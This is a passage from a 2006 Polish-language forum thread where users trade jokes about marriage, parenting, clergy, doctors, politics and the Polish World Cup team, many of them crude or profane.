k... ,ale jatka. Nic to myśli, jatka nie jatka, może ktoś przeżył i trzeba mu
pomoc. Podchodzi bliżej, a tam konie z bebechami na wierzchu, ledwo dychają.
Jakoś trzeba by je dobić, co się ma gadzina męczyć. Złapał za siekierę, która
wypadła z furmanki i do jednego konia, do drugiego... pozarąbywał na śmierć.
Stoi i rozgląda się, co dalej, zauważył woźnice. Woźnica na to, podciągając koc
i przykrywając urwane nogi:
- Panie! Nawet mnie ku*** nie drasnęło!!!

IRA - 23-05-2006, 11:15

> Żona wraca do domu i widzi na drzwiach kartke. Czyta: "Na sprzedaz
> - zona.
> >Ostatnio niewiele uzywana. Cena 360 zł.
> >Informacja - w tym domu." Malzonka robi swojemu mężowi awanture.
> >- Wcale nie o to chodzi, ze chcesz mnie sprzedac, ale ze tak tanio.
> Skad
> >wziales te cene?
> >- Juz Ci mówie - 80 kg miesa po 2 to daje 160 plus zlota obraczka -
> 200.
> >Razem 360 zł. Gra?
> >Nastepnego dnia maz wraca z pracy i widzi na drzwiach kartke
> napisana przez
> >zone:
> >"Na sprzedaz - maz. Ostatnio niewiele uzywany. Cena 0,67 zł .
> >Informacja - w tym domu." Tym razem awanture robi maz.
> >- To ja Cie wycenilem na 360 zł, a ty mnie za jakies grosze chcesz
> opchnac?
> >- Juz Ci mówie - Dwa jajka po 0.32 to daje 0,64 plus 10 cm rurki za
> 0,03. Razem 0,67 zł. Gra?


Bycie rodzicem odmienia życie. Ale rodzicielstwo zmienia się też wraz z kolejnymi pociechami. Oto kilka przykładów (od strony matki)

przygotowania do porodu
1 dziecko: Nabożnie ćwiczysz oddech w każdej wolnej chwili.
2 dziecko: Nie ćwiczysz oddechu, bo wiesz, że i tak nic nie pomoże.
3 dziecko: O środki przeciwbólowe prosisz w ósmym miesiącu

ubranka dziecięce
1 dziecko: Pierzesz wszystkie, segregujesz kolorami i kładziesz w osobnym miejscu
2 dziecko: Sprawdzasz, czy ubranka są czyste i odrzucasz te z najciemniejszymi plamami.
3 dziecko: Chłopcy mogą przecież chodzić w różowym, nie [:>] ?

płacz
1 dziecko: Dziecko bierzesz na ręce przy najmniejszym kwileniu.
2 dziecko: Podnosisz dziecko, kiedy jego płacz może już obudzić to starsze.
3 dziecko: Uczysz trzylatka jak nakręcać mechaniczną kołyskę

smoczek
1 dziecko: Jeśli smoczek upadnie na podłogę, odkładasz go do momentu, aż można go będzie wygotować.
2 dziecko: Jeśli upadnie, myjesz go soczkiem z butelki.
3 dziecko: Jeśli wypadnie z buzi, ocierasz o koszulę i wciskasz z powrotem.

pieluchy
1 dziecko: Zmieniasz co godzinę, czy potrzeba, czy nie.
2 dziecko: Zmieniasz co 2-3 godziny w miarę potrzeby.
3 dziecko: Zmieniasz, kiedy rodzina uskarża się na smród, lub pielucha z zawartośćią dynda już w kolanach.

rozrywki
1 dziecko: Zabierasz dziecko na gimnastykę, pływalnię, czytanie bajek.
2 dziecko: Zabierasz dziecko na gimnastykę.
3 dziecko: Zabierasz dziecko do supermarketu i do pralni.

opiekunka do dziecka
1 dziecko: Po wyjściu dzwonisz do domu co najmniej pięć razy.
2 dziecko: Przed wyjściem przypominasz sobie, że masz zostawić numer, pod którym można cię złapać
3 dziecko: Kategorycznie zabraniasz dzwonić - chyba, że zobaczy krew.

połknięcie monety
1 dziecko: Biegiem do szpitala i żądasz prześwietlenia!
2 dziecko: Czekasz cierpliwie, aż moneta przejdzie.
3 dziecko: Potrącasz z kieszonkowego.

Efraim Ryba - 23-05-2006, 11:53

Czym się różni PRL od IV RP?
Wówczas naród był w Polsce a rząd w Londynie. Teraz jest na odwrót

wrobel.cwirek - 23-05-2006, 12:14

A to nie okupacja niemiecka?
Fiodor - 23-05-2006, 14:17

W pokoiku na wygodnych fotelach siedzą dwie starsze panie i uporczywie oddają sie rozkoszy robótek ręcznych - znaczy robią na drutach.
W pewnym momencie jedna z nich mówi: Czy słyszałą waćpanna, że Wokulski ma hemoroidy??
Druga podchwytując temat, dociekliwie pyta: W istocie ??!!
Tamta nie przerywając robótki odpowiada: Nie - w dupie !

Pozdro

wrobel.cwirek - 23-05-2006, 21:07

Facet siedzi sobie w mieszkaniu, nic ciekawego nie robi, nagle slyszy dzwonek do drzwi.
Otwiera... nikogo. Juz ma zamykac drzwi dy znowu dzwonek dzwoni. Gosciu patrzy... a tam na przycisku od dzwonka siedzi sobi slimak. Wiec gosciu nic nie myslac, pstryk, zrzucil go.

Po trzech miesiacach... dzwonek do drzwi, gosciu otwiera, na na wycieraczce stoi wkurzony slimak, ktory jak tylko drzwi sie otworzyly strzela zdenerwowany:
- Co to bylo to przed chwila!?! Co!!!!

[ Dodano: 24-05-2006, 13:34 ]
Do reprezentacji Polski trafil nowy Murzyn.
Na pierwszej odprawie przed treningiem Pawel Janas narysowal na tablicy wielki prostokat i
zaczal uderzac w niego pilka.
- Pilka, rozumiesz? Bramka, tu, prostokat. Bramka, pilka do bramki to
dobrze, rozumiesz?
Wstal nasz nowy Murzyn, lekko poszarzaly i odzywa sie do trenera Janasa:
- Panie trenerze, ja od kilkunastu lat mieszkam w Polsce, mam tu zone,
dzieci a studiowalem filologie polska i mowie w tym jezyku lepiej niz
niejeden Polak!
Pawel Janas popatrzyl na niego ze zdumieniem i powiedzial:
- Siadaj synu, ja mowie do Rasiaka

tsharny - 25-05-2006, 11:53

Przyjeżdza Benedykt XVI do Oswięcimia, głosi kazanie. Nagle sie zamyśla,
wskazuje reką i mówi - a tam chodziliśmy na kremówki...

Marcin_alien - 25-05-2006, 12:26

bann napisał/a:
Do Dudka dzwoniła Krystyna z gazowni, żeby mu powiedzieć , że nie jedzie na mistrzostwa, a ona jedzie

za Dudka to Janasowi TPSA odciela telefon :20:

:alien:

wrobel.cwirek - 25-05-2006, 13:09

“Pozdrawiam was ciule!”
- Benedykt XVI

duch - 25-05-2006, 13:15

Podobno rząd rozszerzył jeszcze program wizyty Benedykta XVI, mają się z nim spotkać w miejscowości Grunwald.

To tam gdzie zgodnie z tradycję spotykają się Polacy z Niemieckim duchowieństwem.

Pozdr

Tomek Radomski - 25-05-2006, 15:32

Kilku lekarzy - internista, pediatra, psychiatra, chirurg i patolog wybrało się na kaczki.
Do pierwszego ptaka miał strzelać internista.
- A może to jednak nie kaczka? Powinienem spytać kogoś innego o opinię - zawahał się i kaczka odleciała.
W drugą mierzył pediatra.
- Nie jestem pewien, czy to kaczka. A poza tym, może mieć młode... - i ptak nietknięty zniknął za horyzontem.
Kolejny był psychiatra.
- Wiem, że to kaczka, ale czy kaczka wie, że jest kaczką? - zamyślił się i przegapił okazję do strzału.
Potem nadszedł czas na chirurga. Ten przyłożył fuzję do ramienia, strzelił bez wahania i ptak bez życia runął na ziemię.
- Idź, sprawdź czy to była kaczka - powiedział chirurg do patologa.

-----------------------------------------------

- Panie doktorze, do której pan dzisiaj przyjmuje? - pyta pacjent.
- Do lewej, do lewej... - odpowiada lekarz wskazując lewą kieszeń fartucha.

bann - 25-05-2006, 18:38

Siedzi dwóch pijaków pod Pałacem Kultury i piją piwo. Leci lotnia, rozbija się o Pałac Kultury i zjeżdża w dół. Mówi jeden do drugiego:
- Patrz Zdzisiu...jaki kraj, tacy terroryści!

[ Dodano: Czw 25 Maj, 2006 ]
Idzie facet koło śmietnika, patrzy - a tu leży baba. Podchodzi do leżącej baby, szturcha ją nogą. Baba poruszyła się. Facet ogląda ją z każdej strony, wreszcie mówi:
- E! Baba, powiedz aa!
- Aa.
Facet podszedł z drugiej strony i mówi:
- E! Baba, powiedz be!
- Be.
- Nic z tego tego nie rozumiem, ktoś całkiem dobrą babę wywalił na śmietnik...

wrobel.cwirek - 26-05-2006, 09:07

There are only 10 types of people in the world: Those who understand binary, and those who don't
tsharny - 26-05-2006, 10:01

- poucz się trochę
- czego?
- a z czego ci pała wychodzi?
- ze spodni


Napisałem swój pierwszy program Symuluje prace rządu. Kod jest bardzo
prosty:
begin
end
po kompilacji okazało się, że program nic nie robi czyli działa w 100% dobrze

[ Dodano: 26-05-2006, 10:44 ]
AUTENTYCZNE OGLOSZENIA PARAFIALNE:
1, Cala wspólnota dziekuje chórowi mlodziezowemu, który na okres wakacji zaprzestal swojej dzialalnosci.
2. Za tydzienWielkanoc. Bardzo prosze wszystkie panie skladac jajka w przedsionku.
3. Pan Kowalski zostal wybrany na urzad kustosza naszego kosciola i zaakceptowal ten wybór. Nie moglismy znalezc nikogo lepszego.
4. W niedziele ksiadz rektor przewodniczyl swej pozegnalnej mszy. Chór odspiewal klaskajmy wszyscy w dlonie.
5. Z tablicy ogloszen: Dzisiejszy temat: Czy wiesz jak jest w piekle?. Przyjdz i posluchaj naszego organisty.
6. Po poludniu w pólnocnym i poludniowym koncu kosciola odbeda sie chrzty. Dzieci beda chrzczone z obu stron
7. W czwartek o 16.00 Wspólne lody. Panie dajace mleko prosimy przyjsc
wczesniej.
8. W srode spotkanie zenskiego kregu literackiego. Pani Kowalska zaspiewa Polóz mnie do lózeczka razem z wikarym
9. W podziemiu panie zrzucily wszelkiego rodzaju ubrania. Mozna je ogladac w kazdy piatek po poludniu.
10.W niedziele nasza grupa teatralna zaprezentuje "Hamleta". Jestesmy
zaproszeni do udzialu w tej tragedii.
11. Spotkanie grupy terapeutycznej pomagajacej wzmocnic poczucie wlasnej wartosci w srode wieczorem. Prosimy uzywac tylnych drzwi.
12. We wtorek cotygodniowa katecheza, tym razem na temat: "Jezus chodzi po wodzie". Temat katechezy w przyszlym tygodniu: "W poszukiwaniu Jezusa".
13. W kazda srode spotykaja sie mlode mamy. Na te panie, które pragna do nich dolaczyc, czekamy w zakrystii w czwartki wieczorem

Fiodor - 26-05-2006, 11:26

Przez gęstwine biegnie człowiek - pędzi jak szalony - nagle trafia w wystający konar i odrywa mu sie głowa i toczy gdzieś w krzaki - tułów biegnie dalej .......
Głowa krzyczy --- STÓJ POCZEKAJ STÓJ !!!!!!
i nagle mówi qwa - po co ja tak sie dre - przecież uszy są ze mną

IRA - 26-05-2006, 12:27

Mąż wraca nad ranem do domu. W drzwiach wita go żona:
- Oj Ty mój biedaku... Znowu całonocne zebranie?
- No...
- Daj plaszcz... Masz szminkę na policzku... zaraz > wytrzemy... pewnie znowu ta stara ksiegowa wycałowala cię w pracy
- No...
- Masz też szminkę na kołnierzyku... pewnie ktoś cię > brudził w autobusie... nie przejmuj się
- No...
- Ściągaj te łachy i kładź się spać. Musisz odpocząć > biedaku...
- No...
- Jesteś podrapany na plecach... Znowu wpadłeś na ten krzak przed domem
- No....
- Stefan! Ty masz na sobie damskie majtki!
- No to teraz kombinuj...

Anja - 26-05-2006, 15:29

Przychodzi facet do adwokata:
- Pamięta pan mecenasie ile milionów dolarów dostał koleœ,
który wytoczył sprawę Marlboro za to, że zachorował na raka?
- Nooo... sporo... kilkadziesiĹĄt.
- A ile dostał goœciu, który oskarżył McDonaldsa, że po
hamburgerach roztył się jak œwinia?
- Noooo... kilkanaœcie.
- Ja też chciałem wytoczyć sprawę...
- Komu?
- Polmosowi Lublin. Za te wszystkie brzydkie baby, które
przeleciałem po ŻołĹĄdkowej Gorzkiej...

........................................................

Idzie Czerwony Kapturek przez las. Nagle z krzaków wyskakuje wilk - stary zbereŸnik i mówi:
- Ha Kapturku ! Teraz cię pocałuję tam, gdzie jeszcze nikt cię nie całował !
Kapturek patrzy na niego i mówi:
- Chyba, kurdę, w koszyk

Tomek Radomski - 26-05-2006, 15:58

Pesymista widzi ciemny tunel.
Optymista widzi światełko w tunelu.
Realista widzi światło pociągu.
A maszynista widzi trzech debili na torach.

------------------------------------

Jak się nazywa jajko z pozytywką?
- Jajko muzykant.

------------------------------------

Pierwszego dnia szkoły, przed rozpoczęciem lekcji, nauczycielka przedstawia nowego ucznia amerykańskiej klasie:
- To jest Sakiro Suzuki z Japonii.
Lekcja sie zaczyna. Nauczycielka mowi:
- Dobrze, zobaczymy jak sobie radzicie z historią. Kto mi powie czyje to słowa: "Dajcie mi wolność albo smierć"?
W klasie cisza jak makiem zasial, tylko Suzuki podnosi rękę i mówi: "Patrick Henry 1775 W Filadelfii."
- Bardzo dobrze Suzuki. A kto powiedział: "Państwo to ludzie, ludzie nie powinni więc ginąć"?
Znowu wstaje Suzuki: "Abraham Lincoln 1863 w Waszyngtonie."
Nauczycielka spogląda na uczniów z wyrzutem i mówi:
- Wstydźcie się. Suzuki jest japończykiem i zna amerykańską historię lepiej od Was!
W klasie zapadła cisza i nagle słychać czyjś glośny szept:
- Pocałuj mnie w dupę pierprzony japończyku.
- Kto to powiedział? - krzyknęła nauczycielka na co Suzuki podniósł rękę i bez czekania wyrecytował: "Generał McArthur 1942 w Guadalcanal oraz Lee Iacocca 1982 na walnym zgromadzeniu w Chryslerze."
W klasie zrobiło sie jeszcze ciszej i tylko dało się usłyszeć cichy szept:
"Rzygać mi się chce..."
- Kto to byl? - wrzasnęła nauczycielka, na co Suzuki szybko odpowiedział:
"George Bush senior do japońskiego premiera Tanaki w 1991 podczas obiadu."
Jeden z naprawdę już wkurzonych uczniów wstał i powiedział kwaśno:
- Obciągnij mi druta!
Na to nauczycielka zrezygnowanym tonem
- To już koniec. Kto tym razem?
- Bill Clinton do Moniki Levinsky w 1997 roku w Gabinecie Owalnym w Białym Domu - odparł Suzuki bez drgnienia oka
Na to inny uczeń wstał i krzyknął
- Suzuki to kupa gówna!
Na co Suzuki:
- Valentino Rossi w Rio na Grand-Prix Brazylii w 2002 roku
Klasa już calkowicie popada w histerię, nauczycielka mdleje gdy otwieraja sie drzwi i wchodzi dyrektor
- Cholera, takiego burdelu to ja jeszcze nie widziałem
Suzuki:
- Leszek Miller do wicepremiera Hausnera na posiedzeniu komisji budżetowej w Warszawie w 2003 roku.

--------------------------------------

Zdenerwowana mama do córeczki:
- Wiesz co się dzieje z małymi dziewczynkami, które nie zjadają wszystkiego z talerza ?!
- Wiem, pozostają szczupłe, zostają modelkami i zarabiają kupe forsy.

--------------------------------------

Przypadkowy przechodzień zatrzymuje przypadkowego psychologa i pyta.
- Przepraszam bardzo, gdzie jest stacja PKP?
Psycholog uśmiecha się i mówi.
- Nie wiem. Ale cieszę się, że mogłem panu pomóc.

krzyśko - 27-05-2006, 10:57

Sprzedawca: Jeden Big Mac plus Cola. Razem 6,99$
Bill Gates: Ale ja zamawiałem tylko Big Mac’a...
Sprzedawca: Cola jest teraz częścią pakietu
Bill Gates: Co proszę? Za Colę nie płacę!
Sprzedawca: Nie musi Pan. Cola jest gratis
Bill Gates: Czy sam Big Mac nie kosztuje przypadkiem 3,99$?
Sprzedawca: Zgadza się. Ale nabrał on teraz nowych cech. Pakiet. Rozumie Pan?
Bill Gates: Upieram się jednak przy samym Big Mac’u. Coli nie chcę.
Sprzedawca: Nie ma Coli, nie ma Big Mac’a…
Bill Gates: To dobrze.Płacę 5,99$, ale Coli nie chcę. Może być!?
Sprzedawca: Nie może. Big Mac i Cola to teraz jedno. Nierozłącznie zintegrowane.
Bill Gates: Bzdura! Przecież to dwa różne produkty!!!
Sprzedawca: To zrobimy tak...(Wkłada Big Mac’a do kubka z Colą)
Bill Gates: Panie! Co pan zwariował?!
Sprzedawca: Nie, to w Pana interesie... Dwa komponenty, jeden produkt. Zobaczy Pan, będzie Pan zadowolony...!

Adam Frajtak - 28-05-2006, 11:37

SUPER!!!
Spaniel - 28-05-2006, 14:28

Warszawa, korek na Jerozolimskich, do jednego kierowcy odzywa się drugi;
-Słuchaj, porwali prezydenta Kaczyńskiego, żądają 100 000 000 złotych, bo inaczej obleją go benzyną i podpalą, robimy właśnie zbiórkę ...
- Tak ? A po ile dają inni kierowcy ?
- No tak po 2 - 3 litry...

wrobel.cwirek - 28-05-2006, 15:37

scaner napisał/a:
SUPER!!!


The requested URL /forum/index.php was not found on this server.

Adam Frajtak - 28-05-2006, 15:39

wrobel.cwirek napisał/a:
scaner napisał/a:
SUPER!!!


The requested URL /forum/index.php was not found on this server.


:sad:

wrobel.cwirek - 30-05-2006, 09:23

No i mój ulubiony kawał :
Poszedł ksiądz na targ kupić coś do jedzenia bo miał mieć w parafii wizytację biskupa i biskup miał zostać na kolację. Podszedł do gościa z rybami i mówi:
- O jaka piękna, duża ryba!
Sprzedawca na to:
- Pięknego skur.wiela złapałem - co?
Ksiądz się obruszył:
- Panie, ja wszystko rozumiem - piękna duża ryba, ale żeby zaraz przy księdzu takie epitety - wstyd!
Sprzedawca wyjaśnia:
- Ale proszę księdza - skurw.iel to jest nazwa tej ryby, tak samo jak płotka, okoń czy pstrąg.
- Aaa no to w porządku. Poproszę tego skur.wiela. Przygotuję go na kolację z biskupem.
Przychodzi ksiądz na parafię pokazuje rybę siotrze zakonnej.
Zakonnica:
- O jaka piękna duża ryba.
A ksiądz na to:
- Ładnego skur.wiela kupiłem co?
Zakonnica:
- Ale co ksiądz - takie słownictwo?
A ksiądz wyjaśnia, że to ta ryba się nazywa skurwie.l - tak jak inne płoć czy szczupak.
- Aaaa - to rozumiem.
Ksiądz polecił zakonnicy żeby ta przygotowała skur.wiela na kolację z biskupem. Stoi zakonnica w kuchni, skrobie rybę a tu wchodzi kucharka.
- O jaka piękna duża ryba - mówi kucharka.
Siostra na to:
- Piękny skurwi.el - prawda?
Ależ co siostra? Nie poznaję! - obrusza się kucharka
A siostra, że to ta ryba się nazywa skur.wiel - tak jak inne się nazywają karp czy lin. Siostra kazała przygotować skurwiela na kolację z biskupem. Wieczorem przyjeżda Biskup - siada przy stole z księdzem i zakonnicą. Kucharka wnosi główne danie - rybę.
Ksiądz biskup:
- Jaka piękna duża ryba!
Na to proboszcz:
To Ja tego skurwie.la znalazłem i kupiłem.
Odzywa się zakonnica:
- A Ja tego skurwie.la skrobałam.
Na to włącza się kucharka:
- A Ja tego skurwie.la usmażyłam i przyrządziłam.
Ksiądz biskup uśmiechnął sie, wyjął z torby litr wódki i mówi:
- k...a, widzę, że tu sami swoi!

-------------------------------------

Busha i Putina zahibernowali na n-lat. Budza ich po tym czasie, zeby nie bylo zbyt duzego szoku, przed wypuszczeniem daja do przeczytania gazety. Putin zaczyna i zaczyna sie nasmiewac z Busha, ten troche zdziwiony zaglada do gazety Putina a tam wielki tytul: "Islam rzadzi w Waszyngtonie". Podlamany zaczyna czytac swoja gazete i z wrazenia spadl az z krzesla. Putin zaciekawiony zaglada do gazety Busha: "Zamieszki na granicy polsko-chinskiej".

malek - 30-05-2006, 14:58

Pewne małżeństwo wybrało się na wczasy. Po drodze zatrzymali sie na noc w hotelu. Z samego rana chcieli opuscic hotel i poprosili rachunek za dobe hotelowa. Ku ich zdziwieniu zobaczyli, ze rachunek opiewa na zawrotna sume 3000 zl.
- Dlaczego tak duzo, przeciez spedzilismy tu tylko kilka godzin?
- pyta maz.
- To jest standardowa stawka za nocleg - odpowiada recepcjonista.
Malzenstwo zada spotkania z dyrektorem. Dyrektor spokojnie wysluchuje zazalen i stwierdza:
- Prosze panstwa, prowadzimy luksusowy hotel, jest on wyposazony w kilka basenow, wielka sale konferencyjna, saune i solarium. Wszystko to bylo do Panstwa dyspozycji.
- Ale my z tego nie skorzystalismy!
- Ale mogli Panstwo! I za to prosze zaplacic.
Mezczyzna wreszcie wyciaga z portfela 300 zlotych i wrecza dyrektorowi.
- Przepraszam, ale tu jest tylko 300 zl.
- Zgadza sie.
- Obciazylem Panstwa rachunkiem opiewajacym na 3000.
- Pozostale 2700 za przespanie sie z moja zona - mowi mezczyzna.
- Ale ja nie spalem z Pana zona! - krzyczy oburzony dyrektor.
- Coz, byla do Pana dyspozycji !!!

bann - 30-05-2006, 18:52

Wiosna. Lis, wilk i niedźwiedź siedzą pod drzewem i dzielą się wrażeniami o przeszłej zimie.
Lis i wilk obdarci, pobici, a niedźwiedź - gruby, połyskujący.
Lis: - Zimowałem w kurniku. Po jednej kurce na tydzień zjadałem, lecz ludzie wszystkie kury policzyli,doszli, że dziesięciu brak. Postawili potrzask - ledwie wyrwałem się.
Wilk: - A ja w chlewie. Po jednej śwince w tydzień sobie zjadałem, lecz ludzie je policzyli, poszczuli psami - ledwie uciekłem. No a ty, niedźwiedź, w barłogu pewnie przespałeś?
- Nie, ja na budowie zimowałem...
-?
- Kupa budowlańców, tam ich nikt nie przelicza..



- I jak twoja kłótnia z żoną?
- Przyszła do mnie na kolanach...
- ? I co powiedziała?
- Wyłaź spod łóżka tchórzu!

leszeksz - 31-05-2006, 15:45

Szczyt lenistwa:
http://www.milanos.pl/zdjecia.php?id=8007

bann - 01-06-2006, 20:33


Ryszard Szwajcer - 01-06-2006, 23:08

prawie hacker
Beeker - 02-06-2006, 13:35

W Nowym Jorku otwarto nowy sklep, gdzie kobiety mogą wybrać i kupic męża.
Przy wejsciu jest wywieszona instrukcja korzystania ze sklepu:
- możesz wejść do sklepu tylko jeden raz,
- jest 6 pieter, a cechy charakterystyczne mężczyzn zwiększają się z każdym piętrem,
- możesz wybrać jakiegolwiek mężczyznę na pietrze lub iść piętro wyżej,
- jak wejdziesz wyżej nie możesz już się cofnąć na pietro niżej .
Pewna kobieta decyduje sie wejść do sklepu żeby znaleźć tego "jedynego".
Na pierwszym pietrze wywieszka mowi: Ci mężczyzni mają pracę
Kobieta decyduje sie wejść wyżej.
Na drugim piętrze jest napis: Ci mężczyzni mają pracę i kochają dzieci.
Kobieta znów postanawia wyjść wyżej.
Na trzecim pietrze jest napisane: Ci mężczyzni mają pracę, kochają dzieci, i
są bardzo przystojni.
Wow! myśli kobieta, ale postanawia wejść wyżej.
Na czwartym pietrze wywieszka mowi: Ci mężczyźni mają pracę, kochaja dzieci,
sa bardzo przystojni i pomagaja w pracach domowych.
Niesamowite, pomyslala kobieta, z ciezkim sercem odrzuca taka oferte i
postanawia wejsc na wyzsze pietro.
Na piatym pietrze jest napis: Ci mezczyzni maja prace, kochaja dzieci, sa
bardzo przystojni, pomagaja w pracach domowych i sa romantyczni
Kobiete kusi zeby zostac na tym pietrze, ale decyduje sie wejsc na ostatnie
pietro.
Szoste pietro: Jestes na tym pietrze odwiedzajaca numer 31 456 012. Tutaj
nie ma mezczyzn. To pietro istnieje tylko zeby pokazac ze kobiecie nigdy nie
dogodzisz. Dziekujemy za odwiedziny w naszym sklepie.

Na przeciwko tego sklepu zostal otwarty sklep z żonami
Na pierwszym piętrze są kobiety, które kochają sex.
Pietra od drugiego do szostego NIGDY NIE BYLY ODWIEDZONE

Spaniel - 02-06-2006, 22:42

Amerykanski statek kosmiczny dolecial na Marsa ... wyladowali ....
juz zbieraja sie do wyjscia az tu nagle podlecialo 2 Marsjan, takich
smiesznych zielonych i bzzzzz zaspawali im drzwi wyjsciowe.
Amerykanie probuja wyjsc ... 10 minut, 30 minut ... po godzinie
sie udalo.
Wyszli a tam juz zebrala sie wieksza grupka Marsjan.
No wiec witaja sie i pytaja :
- Czemu zaspawaliscie nam drzwi wyjsciowe ?
Na co Marsjanie :
- Zawsze tak robimy nowym, ale to chyba nie problem. Niedawno tu
Polacy byli ... koledzy zaspawali im drzwi a oni po 5 minutach juz byli
na zewnatrz ... i jeszcze prezenty przywiezli ...
Amerykanie :
- Prezenty ? Polacy ? jakie prezenty ?
Marsjanin :
- Wpier... to sie nazywalo czy cos, ale wszyscy dostali.

Pisklak - 06-06-2006, 17:58

Umiera papież. U wrót raju św. Piotr go pyta:
- Ktoś ty?
- Ja? biskup Rzymu.
- Biskup Rzymu? Nie kojarzę.
- No, namiestnik Pański na Ziemi.
- To Bóg ma namiestnika? Nic mi o tym nie wiadomo.
- Jestem głową kościoła katolickiego!
- A co to takiego?
- ....
- Dobra. Czekaj tu, idę spytać szefa.
(tup, tup, tup)
- Panie Boże, masz chwilkę? Jest tu taki jeden, mówi, że jest papieżem,
Twoim namiestnikiem na Ziemi, głową czegoś tam..
- Nie kojarzę. Ale moment... Jezusie, może ty coś o tym wiesz?
- Nie, tato, nie kojarzę. Ale pójdę z nim pogadać.
Po chwili wraca Jezus zwijając się ze śmiechu i mówi:
- Pamiętacie to kółko rybackie, które zakładałem 2000 lat temu?
- No, i?
- Oni do tej pory działają!

bann - 06-06-2006, 18:26

Kupował facet od rolnika chałupę nad jeziorem. I pyta go:
- Panie, a jak tutaj z komarami?
- Noooo... czasem są, ale my znaleźliśmy sposób!
- Tak? Jaki
- Nooo.... sadzamy teściową na ławeczce przed chałupą i smarujemy jej twarz miodem. I te komary leca do niej i jest spokój
- Ale ona się przecież zadrapie na śmierć!
- Nieeeee... jest sparaliżowana...

======

Wraca Jaś z przedszkola. Twarz cała podrapana. Aż przykro patrzeć. Matka w
lament...
- Co sie stało, Jasiu?
- Tańczyliśmy wokół choinki. Dzieci było mało, a jodełka spora...

Habibi - 06-06-2006, 23:28

przylatuje bociek nad jeziorko patrzy zaba siedzi i nogi moczy.
bociek-zaba ciepla ta woda????
zaba nic
bociek znowu:zaba ciepla ta woda?????
zaba nic
bociek wkuzony:KUR:::A zaba ciepla ta woda???!!!
zaba spojzala na bocka i mowi:moze i KUR..A ale nie termometr.

bann - 07-06-2006, 18:49

Dom dla psychicznych. Na śodku wielkiej sali siedzi w odrutowanej sekcji lekarz dyżurny. Dookoła szzaleństwo: faceci w piżamach naparzają się pierzynami, kilkunastu się bije, słychać śpiewy i krzyki, co i raz jeden leci z rykiem przez salę i rozbija się o ścianę... Kompletne bordello.
Nagle z tłumu szaleńców wyrywa się jeden: brudny, tłuste włosy, stłuczone okulary i syf ogólny. Dopada siatki, targa za nią i przewala oczami, próbując coś powiedzieć do dyżurnego. Lekarz patrzy na to znudzony, wreszcie rzuca z nudów:
- A kto to do nas mruga? Może Napoleon Bonaparte?
Facet nic, tylko rzuca głową.
- A może Einstein? Albo Jezus? - pyta filuternie.
Facet targa rozpaczliwie za siatkę i chrypi:
-...ppp..ppaaanie, ku.wa, ooo..ooggarnij pan ten sajgon, miałem tu gdzieś neostrade podłączyć...

Tomek Radomski - 08-06-2006, 13:22

Mówi lew do żaby:
- Ale ty jesteś brzydka... Jesteś zielona, oślizgła i masz strasznie wyłupiaste oczy.
W ogóle nie można na ciebie patrzeć!
Na to żaba (cichutko):
- Ja... Ja po prostu ostatnio dużo chorowałam...

Marcin_alien - 08-06-2006, 14:55

Oto sposób na rozpoznanie gatunku niedźwiedzia.

Podchodzimy do niego cichutko kiedy śpi i kopiemy go z całej siły w jaja. Następnie spierdalamy.
I teraz:
- jeśli spierdalamy i nic nas nie goni to znaczy, że jest to miś pluszowy
- jeśli spierdalamy, wchodzimy na drzewo, a niedźwiedź wchodzi na drzewo za nami, to znaczy, że jest to niedźwiedź brunatny
- jeśli spierdalamy, wchodzimy na drzewo, a niedźwiedź potrząsa drzewem tak, że spadamy prosto w jego łapska to jest to niedźwiedź Grizzly
- jeśli spierdalamy, wchodzimy na drzewo, a niedźwiedź wchodzi na drzewo za nami i zaczyna wpierdalać liście to jest to miś koala
- jeśli spierdalamy, a w okolicy nie ma drzew to jest to niedźwiedź polarny
- jeśli spierdalamy, a niedźwiedź zaczyna płakać to jest to miś Kolargol - największa a fee wśród niedźwiedzi

Te_Pe - 09-06-2006, 07:38

W gabinecie rentgenologicznym Szpitala Wojskowego w Lublinie, dwóch
techników ogląda wykonane przed trzema zaledwie minutami, zdjęcie klatki
piersiowej nałogowego palacza,
- Kazik - pyta jeden - Co to za małe szkieleciki stojące jakby w szeregu
na całym lewym płucu tego gościa?
Kazik przygląda sie dłuższą chwilę, podnosi się, otwiera drzwi, wystawia
głowę na zewnątrz, potem podchodzi do konsolety sterującej "aparatem" i
mówi:
- Trochę za dużą moc promieni nastawiliśmy. To są dzieci z przedszkola
"Jagódka", przyszły na szczepienie do gabinetu obok i czekają na
korytarzu...

i mundialowo:

Pytanie do Rasiaka po meczu z Kolumbią:
-Grzegorz gdzie byłeś?!
-Biegałem...
-Ale ta koszulka jest sucha i nawet nie pachnie?

Efraim Ryba - 09-06-2006, 09:04

Wyjeżdżając na krucjatę, Artur (król, ten od okrągłego stołu) postanowił
sprawić swej żonie pas cnoty. Poszedł tedy do kowala, a ten zaoferował mu
najnowszy krzyk mody - pas z gilotynką! Kupił więc go Artur, żonie
założył, kluczyk zabrał i pojechał na krucjatę. Wrócił po kilku latach, no i
oczywiście zechciał sprawdzić, czy aby jego wierni rycerze nie okazali się
wiarołomcami i nie próbowali uwieść jego pięknej Ginewry.
Ustawił ich w rzędzie i kazał spuścić spodnie. Król doznał szoku: 11 rycerzy
miało równiutko przycięte ptaszki. Z jednym wyjątkiem - Lancelot z dumą
prezentował nienaruszone przyrodzenie.
Moi wspaniali rycerze okazali się bandą hołoty! Na nikogo nie można liczyć,
nikomu nie można zaufać! Jeno Ty, wierny Lancelocie, mi się ostałeś... -
biada Artur i spogląda wyczekująco na Lancelota, by ten coś powiedział.
Ale Lancelot milczał...

Marcin_alien - 09-06-2006, 12:40

i jeszcze raz mundialowo:

"spieszmy sie kibicowac naszym, tak szybko odpadaja" :20:

:alien:

Mania - 09-06-2006, 12:51

Polska jest druzyna marzen na mistrzostwach swiata....

Kazdy marzy zeby z nia zagrac

:mrgreen:
Mania

Marcin_alien - 09-06-2006, 13:11

Jak to robia przedstawiciele roznych zawodow (sa tez nurkowie :lol: )

>> - Listonosz - dochodzi szybko
>>
>> - Businessman - dużym interesem
>>
>> - Bankier - na raty
>>
>> - Policjant - twardą pałą i z kajdankami
>>
>> - Szachista - zwykle bije konia
>>
>> - Disc Jockey - wszystko na życzenie
>>
>> - Elektryk - jest zawsze spięty
>>
>> - Hydraulik - ma dużą rurę, ale zwykle zatkaną
>>
>> - Dentysta - wiadomo, zawsze oralnie
>>
>> - Detektyw - tylko w ciemnościach i incognito
>>
>> - Inżynier - zgodnie z planem
>>
>> - Strażak - grubym wężem i wszędzie mokro wokoło
>>
>> - Śmieciarz - dochodzi raz w tygodniu
>>
>> - Ogrodnik - stoi tylko w krzakach
>>
